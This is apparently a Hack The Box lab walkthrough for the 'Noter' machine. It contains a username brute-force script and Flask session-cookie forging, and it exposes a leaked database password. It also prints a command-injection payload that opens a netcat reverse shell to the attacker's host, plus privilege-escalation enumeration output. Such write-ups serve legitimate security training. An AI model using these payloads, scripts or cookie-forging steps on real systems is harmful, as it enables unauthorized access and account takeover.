HTB Noter Walkthrough

Master the art of flask cookie forging and exploit the power of MySQL in this comprehensive Hack The Box Noter Walkthrough.

HTB Noter Walkthrough
Encounter the enigmatic Temple Keepers dressed entirely in black from the House of Athena, an artistic revelation by London-based visual artist and designer, Kuba Bogaczynski. This intense image isn't just a display of creativity - it's a narrative that stirs the soul. 'Every few million years, humankind rebirths on Earth, setting off a new cycle of evolution and self-destruction. For reasons not yet discovered, every time humans respawn on Earth, there is one myth that always comes back. These are the Temple Keepers.' 

As we launch into the HTB Noter Walkthrough, prepare for a riveting journey across the landscape of cybersecurity exploits. This adventure unearths intriguing paths from Flask cookie forgery to command execution in MySQL. We'll also uncover hidden paths to privileged access, highlight subtle security vulnerabilities, and illustrate the power of persistence in overcoming cybersecurity hurdles.

So, with our hacker hats firmly in place, let's take the plunge into this fascinating BOX, and uncover the multitude of learning experiences it has to offer.

The nmap scan:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-21 15:17 EDT
Nmap scan report for 10.10.11.160
Host is up (0.042s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds


The portal looks very simple and opens with a registration/login page.

Let's sign up for an account and take a look further inside.

It seems that it is possible to record personal notes, I do not immediately identify the technology behind the portal, but on the front-end, I find that an online HTML editor called CKEditor was used, specifically version 4.6.2. It could be our foothold, so let's investigate. Searching for "CKEditor 4.6.2 exploit"...

CVE-2021-33829: Stored XSS Vulnerability Discovered in CKEditor4 Affects Widely-Used CMS
The Checkmarx Security Research Team discovered a stored cross-site scripting (XSS) vulnerability – assigned CVE-2021-33829 – that affects CKEditor 4 users in edit mode.

Interesting, but most of all... it seems to work!!!

I begin to try some variations (like "<?php echo "hacked!!!"; ?>"), to understand and identify the right path.

I try to understand if I can use the navigation of other users to reach my machine (Xss<!--{cke_protected} --!><img src='http://10.10.15.3:8000' onerror=alert(XSS)> -->Attack), hoping for some automatism of the BOX that simulates an administrator who views my notes, but apart from my consultation, no other calls are activated.

┌──(kali㉿kali)-[~/Dropbox/hackthebox/_10.10.11.160 - Noter (lin)]
└─$ php -S 10.10.15.3:8000
[Wed May 25 15:25:38 2022] PHP 8.1.2 Development Server (http://10.10.15.3:8000) started
[Wed May 25 16:05:03 2022] 10.10.15.3:37360 Accepted
[Wed May 25 16:05:03 2022] 10.10.15.3:37360 [404]: GET / - No such file or directory
[Wed May 25 16:05:03 2022] 10.10.15.3:37360 Closing

After wasting some more time on this vulnerability, I start poking through the browser's developer toolbar. My token is registered in a cookie named session, but it appears to be in httpOnly mode, which means that it is inaccessible through the browser's javascript. Let's go ahead and also do a session with the dirb in search of hidden routes.

┌──(kali㉿kali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/jsscript]
└─$ dirb http://noter.htb:5000/           

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu May 26 15:53:39 2022
URL_BASE: http://noter.htb:5000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://noter.htb:5000/ ----
+ http://noter.htb:5000/dashboard (CODE:302|SIZE:218)                                                                               
+ http://noter.htb:5000/login (CODE:200|SIZE:1963)                                                                                  
+ http://noter.htb:5000/logout (CODE:302|SIZE:218)                                                                                  
+ http://noter.htb:5000/notes (CODE:302|SIZE:218)                                                                                   
+ http://noter.htb:5000/register (CODE:200|SIZE:2642)                                                                               
                                                                                                                                    
-----------------
END_TIME: Thu May 26 16:00:45 2022
DOWNLOADED: 4612 - FOUND: 5

I know it's early, but I decided to take a look inside the forum (I was a bit lazy that day). These are the suggestions that light up some light bulbs in my mind.

What backend technology is running? How can we leverage that to read other users' notes? One of the pages you can access without any known credentials can help you find other users.
If you create an account for yourself and log in, you can trick the backend into thinking you are a different user by modifying the identifier the backend is using. Finding a valid user requires some brute force, but trying to brute-force the password isn't necessary.
Back-end technology (What is the programming language? Can you guess what is behind it?)
“Forge / forging” is when you figure out the previous question (it shouldn't be difficult for you to find smt in google to resolve this step)

Nothing that reveals to me the solution to the riddle, but I understand that perhaps I have to analyze the pages that I have left out going deeper. I find something on the login page.

Apparently, two different messages are returned in case of a wrong or non-existent user. The idea is to try to identify an existing account through brute-forcing– BurpSuite seems to be right for us.

Intercept the call...

...send to intruder and drop the original request, change the parameter name (ignore the password for now) and click "refresh"...

In the "payload" tab, select "simple list" for "payload set 1". I try to load the classic rockyou.txt file as a user list, but apparently, it's too big and can't load it. Considering the rules for HTB BOXES (in case of resolution through brute-forcing with a dictionary, the solver element must be among the first of a known list in order to reduce waiting times), I decide to use a subset of the list rockyou.txt.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ head -10000 /usr/share/wordlists/rockyou.txt > subrock-1.txt

Load the file obtained as a user list for the attack and start the attack. As the responses to the requests start to appear right-click on the first record and set the filters for the results.

Set up the regular expression to identify the server response within the HTML page and wait.

Ok, if you have really done it, you will be realizing that the BurpSuite seems really too slow, at this rate, it will take really many hours before you find something (if there is something to be found). I decide to implement something faster; a little bash script will simplify everything, allowing me to use the rockyou.txt file in full.

counter=0
while read username; do
    # echo "[$username]"

    VARLEN=$(curl -i -s -k -X 'POST' \
        -H 'Host: noter.htb:5000' -H 'Origin: http://noter.htb:5000' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'Referer: http://noter.htb:5000/login' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.9' -H 'Connection: close' \
        --data-binary "username=$username&password=password" \
        'http://noter.htb:5000/login' | grep -i "Invalid login" | wc -c)
    # echo "found $VARLEN chars"
    if [ ${VARLEN} -gt 0 ]
    then
	echo "FOUND..... username: $username"
    fi
    tput cup 20 0
    counter=$((counter+1))
    echo "$counter / 14344392"

done < /usr/share/wordlists/rockyou.txt

And run the script:

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ sh script.sh

5311 / 14344392
FOUND..... username: blue

Great, I found a user. But now I have to understand how to use this user to access the portal without knowing the password, this time the login cannot be useful. I could try to generate the token in session, but first I have to study my token, to understand how it was generated. It would seem like a normal JWT, but something is not right for me.

The payload seems to have moved into the header where the information of the algorithm used for encryption is completely absent; at the moment the secret key used for encryption is the least of my problems.

Well, I think I spent most of the time spent on this BOX trying to identify the type of technology used to generate the token, going from online identifiers and reverse tools, but sometimes, fate plays with us and everything has cleared up when a very simple google search showed me the way; just search for "decrypt session online".

Flask Session Cookie Decoder

So behind it all is Flask. Now that we know what we're dealing with, let's take a look at how we can decrypt the token to know the secret-key (maybe with another little brute-forcing).

Free Intermediate Flask Course | Rithm School
Learn how structure larger Flask applications using blueprints, create many to many and complex associations with sql-alchemy. Authenticate an application using flask-login and OAuth. Build, secure and test JSON APIs and more

Again, the solution was clear when I search for "bruteforcing session cookie flask for secret key".

GitHub - Paradoxis/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. - GitHub - Paradoxis/Flask-Unsign: Command line tool to fetch, decode, br...

There seems to be a git repository that's right for me, but it uses some technology that I don't have at the moment; first of all, I have to install them.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.160 - Noter (lin)]
└─$ pip3 install flask-unsign
Defaulting to user installation because normal site-packages is not writeable
Collecting flask-unsign
  Downloading flask-unsign-1.2.0.tar.gz (14 kB)
  Preparing metadata (setup.py) ... done
Requirement already satisfied: flask in /usr/lib/python3/dist-packages (from flask-unsign) (2.0.1)
Requirement already satisfied: itsdangerous in /usr/lib/python3/dist-packages (from flask-unsign) (2.1.2)
Requirement already satisfied: markupsafe in /usr/lib/python3/dist-packages (from flask-unsign) (2.0.1)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from flask-unsign) (2.27.1)
Requirement already satisfied: werkzeug in /usr/lib/python3/dist-packages (from flask-unsign) (2.0.2)
Building wheels for collected packages: flask-unsign
  Building wheel for flask-unsign (setup.py) ... done
  Created wheel for flask-unsign: filename=flask_unsign-1.2.0-py3-none-any.whl size=14694 sha256=2ce441d86c386f9d76345f83d57c93839f48f790fa9b6e681cd11e1b8332cead
  Stored in directory: /home/in7rud3r/.cache/pip/wheels/9c/4d/bb/be3369ce9eab8c52d80206453e8638522116240f51344e5095
Successfully built flask-unsign
Installing collected packages: flask-unsign
  WARNING: The script flask-unsign is installed in '/home/in7rud3r/.local/bin' which is not on PATH.
  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
Successfully installed flask-unsign-1.2.0

And then I can proceed, try first to identify my token...

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.160 - Noter (lin)]
└─$ /home/in7rud3r/.local/bin/flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiaW43cnVkM3IifQ.YpNKBw.6I977pZKniMbwd6ERaqKBTeFnrw'
{'logged_in': True, 'username': 'in7rud3r'}

So let's try to decrypt using a brute-force always with the rockyou.txt.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ echo 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiaW43cnVkM3IifQ.YpNKBw.6I977pZKniMbwd6ERaqKBTeFnrw' > token.txt
                                                                                                                   
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ /home/in7rud3r/.local/bin/flask-unsign --unsign --cookie --wordlist /usr/share/wordlists/rockyou.txt < token.txt
[*] Session decodes to: {'logged_in': True, 'username': 'in7rud3r'}
[*] Starting brute-forcer with 8 threads..
[!] Unhandled exception in cracker thread. Please report this issue on the official bug tracker: "https://github.com/Paradoxis/Flask-Unsign/issues" and don't forget to include the following traceback:

## Stack Trace
```
FlaskUnsignException: Secret must be a string-type (bytes, str) and received 'int'. To fix this, either add quotes to the secret 123456 or use the --no-literal-eval argument.
  File "/usr/lib/python3.9/multiprocessing/pool.py", line 125, in worker
    result = (True, func(*args, **kwds))
  File "/home/in7rud3r/.local/lib/python3.9/site-packages/flask_unsign/cracker.py", line 69, in unsign
    if session.verify(self.session, secret, legacy=self.legacy, salt=self.salt):
  File "/home/in7rud3r/.local/lib/python3.9/site-packages/flask_unsign/session.py", line 29, in verify
    raise FlaskUnsignException(
```

[!] Failed to find secret key after 0 attempts.

There seems to be some problem, but reading the error message immediately highlights a possible solution.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ /home/in7rud3r/.local/bin/flask-unsign --unsign --no-literal-eval --cookie --wordlist /usr/share/wordlists/rockyou.txt < token.txt
[*] Session decodes to: {'logged_in': True, 'username': 'in7rud3r'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17920 attempts
b'secret123'

It seems to have worked, let's try to regenerate the "blue" user token.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ /home/in7rud3r/.local/bin/flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret secret123
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YpfNFg.D6wxZXDEzIajxpL-4al2H5qS_z8

Perfect, unfortunately when I replace the token with mine, the system doesn't seem to recognize me. Reading the documentation on the git repository well, you can find a small variant that still saves the situation: "It might be possible that your target server uses an older version of itsdangerous. Due to an issue with timed sessions, the timestamp generation algorithm was changed . To generate an older signature, try using the --legacy option.".

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/bf]
└─$ /home/in7rud3r/.local/bin/flask-unsign --legacy --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret secret123
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YpfHDQ.tPAJi_2L-MOpcsvqiyshRcZcNK4

And new info appears.

The information I find is enough to take me to the next level; if the passwords for the users are created in a standard way I could log in with someone else's user and the signature at the bottom of the message shows the probable username of the administrator is really irresistible (ftp_admin).

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/ftp]
└─$ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:in7rud3r): blue
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||17529|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 May 02 23:05 files
-rw-r--r--    1 1002     1002        12569 Dec 24 20:59 policy.pdf
226 Directory send OK.
ftp> dir files
229 Entering Extended Passive Mode (|||48492|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> binary
200 Switching to Binary mode.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
229 Entering Extended Passive Mode (|||13351|)
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |**********************************************************************| 12569        2.92 MiB/s    00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (244.97 KiB/s)
ftp> exit
221 Goodbye.
                                                                                                                   
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/ftp]
└─$ ls -la                                                                                          
total 24
drwxr-xr-x 2 in7rud3r in7rud3r  4096 Jun  1 22:50 .
drwxr-xr-x 6 in7rud3r in7rud3r  4096 Jun  1 22:47 ..
-rw-r--r-- 1 in7rud3r in7rud3r 12569 Dec 24 21:59 policy.pdf

In the pdf, in addition to the information we already know, it seems to report that all credentials are valid for all available systems. I then try with the ssh connection, confirming, but apparently, the account is disabled.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/ftp]
└─$ ssh [email protected]   
The authenticity of host '10.10.11.160 (10.10.11.160)' can't be established.
ED25519 key fingerprint is SHA256:LJ+3MeGEbZyygyHU1D6FEDGufYPGvmUmxTzinq5Dazs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.160' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 01 Jun 2022 08:43:59 PM UTC

  System load:           0.14
  Usage of /:            81.1% of 4.36GB
  Memory usage:          9%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.160
  IPv6 address for eth0: dead:beef::250:56ff:feb9:c5ea


157 updates can be applied immediately.
112 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

This account is currently not available.
Connection to 10.10.11.160 closed.

I had left out a folder where I found a couple of compressed files, probably a backup that I wanted to leave for later. Let's go back to download them and see what we find inside.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/ftp]
└─$ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:in7rud3r): ftp_admin
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||55788|)
150 Here comes the directory listing.
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01  2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> binary
200 Switching to Binary mode.
ftp> get app_backup_1635803546.zip
local: app_backup_1635803546.zip remote: app_backup_1635803546.zip
229 Entering Extended Passive Mode (|||38732|)
150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
100% |***********************************************************************| 25559      405.40 KiB/s    00:00 ETA
226 Transfer complete.
25559 bytes received in 00:00 (224.83 KiB/s)
ftp> get app_backup_1638395546.zip
local: app_backup_1638395546.zip remote: app_backup_1638395546.zip
229 Entering Extended Passive Mode (|||29664|)
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
100% |***********************************************************************| 26298      432.12 KiB/s    00:00 ETA
226 Transfer complete.
26298 bytes received in 00:00 (179.32 KiB/s)
ftp> exit
221 Goodbye.

As I imagined two versions of the source code of the portal. Normally, in these cases (CTF scenarios), the interesting information is reported in the points modified from one version to another (but in realistic scenarios, the code must be checked in its entirety, or at least analyzed with a code review tool). So let's highlight the differences (for a quick and easy comparison I used beyond compare).

The interesting parts seem to be where the database credentials are listed.

app.config['MYSQL_USER'] = 'DB_user'                          | app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'DB_password'                  | app.config['MYSQL_PASSWORD'] = 'Nildogg36'
attachment_dir = 'misc/attachments/'                          <

My attention, since at the moment the database is not reachable and I have yet to find the flag of the user, moves to a part of the portal that I had not yet analyzed, but in which I had passed, the import/export functions available for the user blue.

Looking for them in the code, I find something interesting, which could highlight a possible vulnerability.

# Export notes
@app.route('/export_note', methods=['GET', 'POST'])
@is_logged_in
def export_note():
[...]

# Export local
@app.route('/export_note_local/<string:id>', methods=['GET'])
@is_logged_in
def export_note_local(id):
[...]

# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
[...]

# Import notes
@app.route('/import_note', methods=['GET', 'POST'])
@is_logged_in
def import_note():
[...]

import note

[...]
r = pyrequest.get(url,allow_redirects=True)
md = "\n\n".join(r.text.split("\n")[:])

body = markdown.markdown(md)
cur = mysql.connection.cursor()
cur.execute("INSERT INTO notes(title, body, author, create_date ) VALUES  (%s, %s, %s ,%s) ", (title, body[:900], session['username'], time.ctime()))
mysql.connection.commit()
cur.close()
[...]

export local

[...]
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js  $'{note['body']}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")

return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
[...]

export remote

[...]
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")

if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):

    return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
[...]

I decided to try to take advantage of the export, using a script like this saved in a .md file as asked by the code:

' || curl http://10.10.14.246:8000/hacked #

Prepare a web server and try to import the notes.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/exprem]
└─$ php -S 10.10.14.246:8000
[Thu Jun  2 23:37:19 2022] PHP 8.1.2 Development Server (http://10.10.14.246:8000) started
[Thu Jun  2 23:37:24 2022] 10.10.11.160:38714 Accepted
[Thu Jun  2 23:37:24 2022] 10.10.11.160:38714 [200]: GET /note.md
[Thu Jun  2 23:37:24 2022] 10.10.11.160:38714 Closing
[Thu Jun  2 23:37:26 2022] 10.10.11.160:38716 Accepted
[Thu Jun  2 23:37:26 2022] 10.10.11.160:38716 [404]: GET /hacked - No such file or directory
[Thu Jun  2 23:37:26 2022] 10.10.11.160:38716 Closing

Fantastic, following an import I get two calls and the second on the hacked route; the exploit works, let's perfect it to generate a reverse shell request.

As always I tried different shells, I report the one that eventually brought the expected results.
' ||  rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.246 4444 >/tmp/f #

And the desired result was not long in coming.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.246] from noter.htb [10.10.11.160] 50300
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
$ pwd
/home/svc/app/web
$ ls -la /home
total 12
drwxr-xr-x  3 root root 4096 May  2 23:05 .
drwxr-xr-x 19 root root 4096 May  2 23:05 ..
drwxr-xr-x  8 svc  svc  4096 Jun  2 21:16 svc
$ ls -la /home/svc
total 76
drwxr-xr-x 8 svc  svc   4096 Jun  2 21:16 .
drwxr-xr-x 3 root root  4096 May  2 23:05 ..
drwxrwxr-x 3 root root  4096 May  2 23:05 app
lrwxrwxrwx 1 root root     9 Dec 27 09:04 .bash_history -> /dev/null
-rw-r--r-- 1 svc  svc   3771 Dec 23 14:13 .bashrc
drwx------ 3 svc  svc   4096 May  2 23:05 .cache
drwx------ 5 svc  svc   4096 May  2 23:05 .config
drwx------ 5 svc  svc   4096 May  2 23:05 .local
lrwxrwxrwx 1 root root     9 Dec 27 09:04 .mysql_history -> /dev/null
drwxrwxr-x 4 svc  svc   4096 May  2 23:05 .npm
drwxrwxr-x 5 svc  svc   4096 Jun  2 21:11 .pm2
-rw-r--r-- 1 svc  svc    807 Dec 23 14:13 .profile
-rwxrwxrwx 1 svc  svc    920 Jun  1 11:31 raptor_udf2.c
-rwxrwxrwx 1 svc  svc   7432 Jun  2 21:16 raptor_udf2.o
-rwxrwxrwx 1 svc  svc  19360 Jun  2 21:16 raptor_udf2.so
-rw-r----- 1 root svc     33 Jun  2 21:11 user.txt
$ cat /home/svc/user.txt
7******************************b

Well, we're only half done and the way to go is just as long. Let's start with the preliminary checks before moving on to more specific tools, obviously after spawning a tty shell.

$ python3  -c 'import pty; pty.spawn("/bin/sh")'    
$ sudo -l
sudo -l
[sudo] password for svc: 

They don't seem to want to make it easy for us. So let's not hesitate and switch to a session with linpeas.sh.

linpeas output

[...]
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester                                                                  
[+] [CVE-2021-4034] PwnKit                                                                                          

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit
.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
[...]
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privi                  
lege-escalation#processes                                                                                           
svc         1264  0.1  1.4 886596 58848 ?        Ssl  07:55   1:07 PM2 v5.2.0: God Daemon (                         
/home/svc/.pm2)
[...]
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
[...]
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                       
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      1275/python3                        
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
[...]
═════════════════════════════════════════╣ Interesting Files ╠═════════════════════════════════════════             
                                         ╚═══════════════════╝                                                      
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                    
-rwsr-s--x 1 root root 127K Jun  3 19:28 /tmp/sh (Unknown SUID binary)                                              
-rwsr-xr-x 1 root root 52K Jul 14  2021 /usr/bin/chsh
-rwsr-xr-x 1 root root 163K Jan 19  2021 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 84K Jul 14  2021 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-sr-x 1 daemon daemon 55K Nov 12  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 87K Jul 14  2021 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39K Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 67K Jul 14  2021 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPA
RC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                                                                            
-rwsr-xr-x 1 root root 44K Jul 14  2021 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root 67K Jul 21  2020 /usr/bin/su
-rwsr-xr-x 1 root root 55K Jul 21  2020 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_
xnu-1699.24.8                                                                                                       
-rwsr-xr-x 1 root root 39K Jul 21  2020 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 463K Jul 23  2021 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51K Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 23K May 26  2021 /usr/lib/policykit-1/polkit-agent-helper-1

╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                    
-rwsr-s--x 1 root root 127K Jun  3 19:28 /tmp/sh (Unknown SGID binary)                                              
-rwxr-sr-x 1 root shadow 43K Sep 17  2021 /usr/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 43K Sep 17  2021 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root ssh 343K Jul 23  2021 /usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 35K Jul 21  2020 /usr/bin/wall
-rwxr-sr-x 1 root crontab 43K Feb 13  2020 /usr/bin/crontab
-rwsr-sr-x 1 daemon daemon 55K Nov 12  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)
-rwxr-sr-x 1 root shadow 31K Jul 14  2021 /usr/bin/expiry
-rwxr-sr-x 1 root shadow 83K Jul 14  2021 /usr/bin/chage
-rwxr-sr-x 1 root tty 15K Mar 30  2020 /usr/bin/bsd-write
-rwxr-sr-x 1 root utmp 15K Sep 30  2019 /usr/lib/x86_64-linux-gnu/utempter/utempter
[...]
╔══════════╣ Backup files (limited 100)
-rwxr--r-- 1 root root 137 Dec 30 09:41 /opt/backup.sh                                                              
-rw-rw-r-- 1 svc svc 6421 May  2 15:08 /home/svc/.pm2/dump.pm2.bak
-rw-r--r-- 1 ftp_admin ftp_admin 25559 Nov  1  2021 /srv/ftp/ftp_admin/app_backup_1635803546.zip
